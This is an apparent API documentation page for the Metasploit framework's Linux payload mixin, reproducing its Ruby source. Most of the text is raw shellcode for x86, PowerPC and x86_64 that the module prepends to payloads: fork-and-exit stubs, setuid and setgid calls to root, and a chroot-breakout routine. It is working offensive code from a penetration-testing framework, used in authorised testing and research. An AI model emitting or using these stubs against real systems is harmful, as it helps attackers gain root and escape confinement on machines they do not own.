Module: Msf::Payload::Linux

Defined in:
lib/msf/core/payload/linux.rb

Overview

This class is here to implement advanced features for linux-based payloads. Linux payloads are expected to include this module if they want to support these features.

Instance Method Summary collapse

Instance Method Details

#generate(*args) ⇒ Object

Overload the generate() call to prefix our stubs


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# File 'lib/msf/core/payload/linux.rb', line 94

def generate(*args)
  # Call the real generator to get the payload
  buf = super(*args)
  pre = ''
  app = ''

  test_arch = [ *(self.arch) ]

  # Handle all x86 code here
  if (test_arch.include?(ARCH_X86))

    # Prepend

    if (datastore['PrependFork'])
      pre << "\x6a\x02"             +#   pushb   $0x2                       #
             "\x58"                 +#   popl    %eax                       #
             "\xcd\x80"             +#   int     $0x80       ; fork         #
             "\x85\xc0"             +#   test    %eax,%eax                  #
             "\x74\x06"             +#   jz      0xf                        #
             "\x31\xc0"             +#   xor     %eax,%eax                  #
             "\xb0\x01"             +#   movb    $0x1,%al    ; exit         #
             "\xcd\x80"              #   int     $0x80                      #
    end

    if (datastore['PrependSetresuid'])
      # setresuid(0, 0, 0)
      pre << "\x31\xc9"             +#   xorl    %ecx,%ecx                  #
             "\x31\xdb"             +#   xorl    %ebx,%ebx                  #
             "\xf7\xe3"             +#   mull    %ebx                       #
             "\xb0\xa4"             +#   movb    $0xa4,%al                  #
             "\xcd\x80"              #   int     $0x80                      #
    end

    if (datastore['PrependSetreuid'])
      # setreuid(0, 0)
      pre << "\x31\xc9"             +#   xorl    %ecx,%ecx                  #
             "\x31\xdb"             +#   xorl    %ebx,%ebx                  #
             "\x6a\x46"             +#   pushl   $0x46                      #
             "\x58"                 +#   popl    %eax                       #
             "\xcd\x80"              #   int     $0x80                      #
    end

    if (datastore['PrependSetuid'])
      # setuid(0)
      pre << "\x31\xdb"             +#   xorl    %ebx,%ebx                  #
             "\x6a\x17"             +#   pushl   $0x17                      #
             "\x58"                 +#   popl    %eax                       #
             "\xcd\x80"              #   int     $0x80                      #
    end

    if (datastore['PrependSetresgid'])
      # setresgid(0, 0, 0)
      pre << "\x31\xc9"             +#   xorl    %ecx,%ecx                  #
             "\x31\xdb"             +#   xorl    %ebx,%ebx                  #
             "\xf7\xe3"             +#   mull    %ebx                       #
             "\xb0\xaa"             +#   movb    $0xaa,%al                  #
             "\xcd\x80"              #   int     $0x80                      #
    end

    if (datastore['PrependSetregid'])
      # setregid(0, 0)
      pre << "\x31\xc9"             +#   xorl    %ecx,%ecx                  #
             "\x31\xdb"             +#   xorl    %ebx,%ebx                  #
             "\x6a\x47"             +#   pushl   $0x47                      #
             "\x58"                 +#   popl    %eax                       #
             "\xcd\x80"              #   int     $0x80                      #
    end

    if (datastore['PrependSetgid'])
      # setgid(0)
      pre << "\x31\xdb"             +#   xorl    %ebx,%ebx                  #
             "\x6a\x2e"             +#   pushl   $0x2e                      #
             "\x58"                 +#   popl    %eax                       #
             "\xcd\x80"              #   int     $0x80                      #
    end
    if (datastore['PrependChrootBreak'])
      # setreuid(0, 0)
      pre << "\x31\xc9"             +#   xorl    %ecx,%ecx                  #
             "\x31\xdb"             +#   xorl    %ebx,%ebx                  #
             "\x6a\x46"             +#   pushl   $0x46                      #
             "\x58"                 +#   popl    %eax                       #
             "\xcd\x80"              #   int     $0x80                      #

      # break chroot
      pre << "\x6a\x3d"             +#   pushl  $0x3d                       #
           # build dir str (ptr in ebx)
           "\x89\xe3"             +#   movl   %esp,%ebx                   #
           # mkdir(dir)
           "\x6a\x27"             +#   pushl  $0x27                       #
           "\x58"                 +#   popl   %eax                        #
           "\xcd\x80"             +#   int     $0x80                      #
           # chroot(dir)
           "\x89\xd9"             +#   movl   %ebx,%ecx                   #
           "\x58"                 +#   popl   %eax                        #
           "\xcd\x80"             +#   int     $0x80                      #
           # build ".." str (ptr in ebx)
           "\x31\xc0"             +#   xorl   %eax,%eax                   #
           "\x50"                 +#   pushl  %eax                        #

           "\x66\x68\x2e\x2e"     +#   pushw  $0x2e2e                     #
           "\x89\xe3"             +#   movl   %esp,%ebx                   #
           # loop changing dir
           "\x6a\x3d"             +#   pushl  $0x1e                       #
           "\x59"                 +#   popl   %ecx                        #
           "\xb0\x0c"             +#   movb   $0xc,%al                    #
           "\xcd\x80"             +#   int     $0x80                      #
           "\xe2\xfa"             +#   loop   -6                          #
           # final chroot
           "\x6a\x3d"             +#   pushl  $0x3d                       #
           "\x89\xd9"             +#   movl   %ebx,%ecx                   #
           "\x58"                 +#   popl   %eax                        #
           "\xcd\x80"              #   int     $0x80                      #

    end

    # Append exit(0)

    if (datastore['AppendExit'])
      app << "\x31\xdb"             +#   xorl    %ebx,%ebx                  #
        "\x6a\x01"             +#   pushl   $0x01                      #
        "\x58"                 +#   popl    %eax                       #
        "\xcd\x80"              #   int     $0x80                      #
    end

  # Handle all Power/CBEA code here
  elsif (test_arch.include?([ ARCH_PPC, ARCH_PPC64, ARCH_CBEA, ARCH_CBEA64 ]))

    # Prepend

    if (datastore['PrependSetresuid'])
      # setresuid(0, 0, 0)
      pre << "\x3b\xe0\x01\xff"     +#   li      r31,511                    #
             "\x7c\xa5\x2a\x78"     +#   xor     r5,r5,r5                   #
             "\x7c\x84\x22\x78"     +#   xor     r4,r4,r4                   #
             "\x7c\x63\x1a\x78"     +#   xor     r3,r3,r3                   #
             "\x38\x1f\xfe\xa5"     +#   addi    r0,r31,-347                #
             "\x44\xff\xff\x02"      #   sc                                 #
    end

    if (datastore['PrependSetreuid'])
      # setreuid(0, 0)
      pre << "\x3b\xe0\x01\xff"     +#   li      r31,511                    #
             "\x7c\x84\x22\x78"     +#   xor     r4,r4,r4                   #
             "\x7c\x63\x1a\x78"     +#   xor     r3,r3,r3                   #
             "\x38\x1f\xfe\x47"     +#   addi    r0,r31,-441                #
             "\x44\xff\xff\x02"      #   sc                                 #
    end

    if (datastore['PrependSetuid'])
      # setuid(0)
      pre << "\x3b\xe0\x01\xff"     +#   li      r31,511                    #
             "\x7c\x63\x1a\x78"     +#   xor     r3,r3,r3                   #
             "\x38\x1f\xfe\x18"     +#   addi    r0,r31,-488                #
             "\x44\xff\xff\x02"      #   sc                                 #
    end

    if (datastore['PrependSetresgid'])
      # setresgid(0, 0, 0)
      pre << "\x3b\xe0\x01\xff"     +#   li      r31,511                    #
             "\x7c\xa5\x2a\x78"     +#   xor     r5,r5,r5                   #
             "\x7c\x84\x22\x78"     +#   xor     r4,r4,r4                   #
             "\x7c\x63\x1a\x78"     +#   xor     r3,r3,r3                   #
             "\x38\x1f\xfe\xab"     +#   addi    r0,r31,-341                #
             "\x44\xff\xff\x02"      #   sc                                 #
    end

    if (datastore['PrependSetregid'])
      # setregid(0, 0)
      pre << "\x3b\xe0\x01\xff"     +#   li      r31,511                    #
             "\x7c\x84\x22\x78"     +#   xor     r4,r4,r4                   #
             "\x7c\x63\x1a\x78"     +#   xor     r3,r3,r3                   #
             "\x38\x1f\xfe\x48"     +#   addi    r0,r31,-440                #
             "\x44\xff\xff\x02"      #   sc                                 #
    end

    if (datastore['PrependSetgid'])
      # setgid(0)
      pre << "\x3b\xe0\x01\xff"     +#   li      r31,511                    #
             "\x7c\x63\x1a\x78"     +#   xor     r3,r3,r3                   #
             "\x38\x1f\xfe\x2f"     +#   addi    r0,r31,-465                #
             "\x44\xff\xff\x02"      #   sc                                 #
    end

    if (datastore['PrependChrootBreak'])
      # setreuid(0, 0)
      pre << "\x3b\xe0\x01\xff"     +#   li      r31,511                    #
             "\x7c\x84\x22\x78"     +#   xor     r4,r4,r4                   #
             "\x7c\x63\x1a\x78"     +#   xor     r3,r3,r3                   #
             "\x38\x1f\xfe\x47"     +#   addi    r0,r31,-441                #
             "\x44\xff\xff\x02"      #   sc                                 #

      # EEK! unsupported...
    end

    # Append exit(0)

    if (datastore['AppendExit'])
      app << "\x3b\xe0\x01\xff"     +#   li      r31,511                    #
             "\x7c\x63\x1a\x78"     +#   xor     r3,r3,r3                   #
             "\x38\x1f\xfe\x02"     +#   addi    r0,r31,-510                #
             "\x44\xff\xff\x02"      #   sc                                 #
    end

  elsif (test_arch.include?(ARCH_X86_64))

    if (datastore['PrependFork'])
      # if (fork()) { exit(0); }
      pre << "\x6a\x39"             #    push    57        ; __NR_fork     #
      pre << "\x58"                 #    pop     rax                       #
      pre << "\x0f\x05"             #    syscall                           #
      pre << "\x48\x85\xc0"         #    test    rax,rax                   #
      pre << "\x74\x08"             #    jz      0x08                      #
      pre << "\x48\x31\xff"         #    xor     rdi,rdi                   #
      pre << "\x6a\x3c"             #    push    60        ; __NR_exit     #
      pre << "\x58"                 #    pop     rax                       #
      pre << "\x0f\x05"             #    syscall                           #
    end

    if (datastore['PrependSetresuid'])
      # setresuid(0, 0, 0)
      pre << "\x48\x31\xff"         #    xor     rdi,rdi                   #
      pre << "\x48\x89\xfe"         #    mov     rsi,rdi                   #
      pre << "\x6a\x75"             #    push    0x75                      #
      pre << "\x58"                 #    pop     rax                       #
      pre << "\x0f\x05"             #    syscall                           #
    end

    if (datastore['PrependSetreuid'])
      # setreuid(0, 0)
      pre << "\x48\x31\xff"         #    xor     rdi,rdi                   #
      pre << "\x48\x89\xfe"         #    mov     rsi,rdi                   #
      pre << "\x48\x89\xf2"         #    mov     rdx,rsi                   #
      pre << "\x6a\x71"             #    push    0x71                      #
      pre << "\x58"                 #    pop     rax                       #
      pre << "\x0f\x05"             #    syscall                           #
    end

    if (datastore['PrependSetuid'])
      # setuid(0)
      pre << "\x48\x31\xff"         #    xor     rdi,rdi                   #
      pre << "\x6a\x69"             #    push    0x69                      #
      pre << "\x58"                 #    pop     rax                       #
      pre << "\x0f\x05"             #    syscall                           #
    end

    if (datastore['PrependSetresgid'])
      # setresgid(0, 0, 0)
      pre << "\x48\x31\xff"         #    xor     rdi,rdi                   #
      pre << "\x48\x89\xfe"         #    mov     rsi,rdi                   #
      pre << "\x6a\x77"             #    push    0x77                      #
      pre << "\x58"                 #    pop     rax                       #
      pre << "\x0f\x05"             #    syscall                           #
    end

    if (datastore['PrependSetregid'])
      # setregid(0, 0)
      pre << "\x48\x31\xff"         #    xor     rdi,rdi                   #
      pre << "\x48\x89\xfe"         #    mov     rsi,rdi                   #
      pre << "\x48\x89\xf2"         #    mov     rdx,rsi                   #
      pre << "\x6a\x72"             #    push    0x72                      #
      pre << "\x58"                 #    pop     rax                       #
      pre << "\x0f\x05"             #    syscall                           #
    end

    if (datastore['PrependSetgid'])
      # setgid(0)
      pre << "\x48\x31\xff"         #    xor     rdi,rdi                   #
      pre << "\x6a\x6a"             #    push    0x6a                      #
      pre << "\x58"                 #    pop     rax                       #
      pre << "\x0f\x05"             #    syscall                           #
    end

    if (datastore['PrependChrootBreak'])

      # setreuid(0, 0)
      pre << "\x48\x31\xff"         #    xor     rdi,rdi                   #
      pre << "\x48\x89\xfe"         #    mov     rsi,rdi                   #
      pre << "\x48\x89\xf8"         #    mov     rax,rdi                   #
      pre << "\xb0\x71"             #    mov     al,0x71                   #
      pre << "\x0f\x05"             #    syscall                           #

      # generate temp dir name
      pre << "\x48\xbf"             #    mov     rdi,                      #
      pre << Rex::Text.rand_text_alpha(8)  #         random                #
      pre << "\x56"                 #    push    rsi                       #
      pre << "\x57"                 #    push    rdi                       #

      # mkdir(random,0755)
      pre << "\x48\x89\xe7"         #    mov     rdi,rsp                   #
      pre << "\x66\xbe\xed\x01"     #    mov     si,0755                   #
      pre << "\x6a\x53"             #    push    0x53                      #
      pre << "\x58"                 #    pop     rax                       #
      pre << "\x0f\x05"             #    syscall                           #

      # chroot(random)
      pre << "\x48\x31\xd2"         #    xor     rdx,rdx                   #
      pre << "\xb2\xa1"             #    mov     dl,0xa1                   #
      pre << "\x48\x89\xd0"         #    mov     rax,rdx                   #
      pre << "\x0f\x05"             #    syscall                           #

      # build .. (ptr in rdi )
      pre << "\x66\xbe\x2e\x2e"     #    mov     si,0x2e2e                 #
      pre << "\x56"                 #    push    rsi                       #
      pre << "\x48\x89\xe7"         #    mov     rdi,rsp                   #

      # loop chdir(..) 69 times
      # syscall tend to modify rcx can't use loop...
      pre << "\x6a\x45"             #    push    0x45                      #
      pre << "\x5b"                 #    pop     rbx                       #
      pre << "\x6a\x50"             #    push    0x50                      #
      pre << "\x58"                 #    pop     rax                       #
      pre << "\x0f\x05"             #    syscall                           #
      pre << "\xfe\xcb"             #    dec     bl                        #
      pre << "\x75\xf7"             #    jnz     -7                        #

      # chroot (.) (which should be /)
      pre << "\x6a\x2e"             #    push    .  (0x2e)                 #
      pre << "\x48\x89\xe7"         #    mov     rdi,rsp                   #
      pre << "\x48\x89\xd0"         #    mov     rax,rdx                   #
      pre << "\x0f\x05"             #    syscall                           #

    end

    # Append exit(0)
    if (datastore['AppendExit'])
      app << "\x48\x31\xff"         #    xor     rdi,rdi                   #
      app << "\x6a\x3c"             #    push    0x3c                      #
      app << "\x58"                 #    pop     rax                       #
      app << "\x0f\x05"             #    syscall                           #
    end
  end

  return (pre + buf + app)
end

#initialize(info = {}) ⇒ Object

This mixin is chained within payloads that target the Linux platform. It provides special prepends, to support things like chroot and setuid.


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# File 'lib/msf/core/payload/linux.rb', line 17

def initialize(info = {})
  ret = super(info)

  register_advanced_options(
    [
      Msf::OptBool.new('PrependFork',
        [
          false,
          "Prepend a stub that executes: if (fork()) { exit(0); }",
          "false"
        ]
      ),
      Msf::OptBool.new('PrependSetresuid',
        [
          false,
          "Prepend a stub that executes the setresuid(0, 0, 0) system call",
          "false"
        ]
      ),
      Msf::OptBool.new('PrependSetreuid',
        [
          false,
          "Prepend a stub that executes the setreuid(0, 0) system call",
          "false"
        ]
      ),
      Msf::OptBool.new('PrependSetuid',
        [
          false,
          "Prepend a stub that executes the setuid(0) system call",
          "false"
        ]
      ),
      Msf::OptBool.new('PrependSetresgid',
        [
          false,
          "Prepend a stub that executes the setresgid(0, 0, 0) system call",
          "false"
        ]
      ),
      Msf::OptBool.new('PrependSetregid',
        [
          false,
          "Prepend a stub that executes the setregid(0, 0) system call",
          "false"
        ]
      ),
      Msf::OptBool.new('PrependSetgid',
        [
          false,
          "Prepend a stub that executes the setgid(0) system call",
          "false"
        ]
      ),
      Msf::OptBool.new('PrependChrootBreak',
        [
          false,
          "Prepend a stub that will break out of a chroot (includes setreuid to root)",
          "false"
        ]
      ),
      Msf::OptBool.new('AppendExit',
        [
          false,
          "Append a stub that executes the exit(0) system call",
          "false"
        ]
      ),
    ], Msf::Payload::Linux)

  ret
end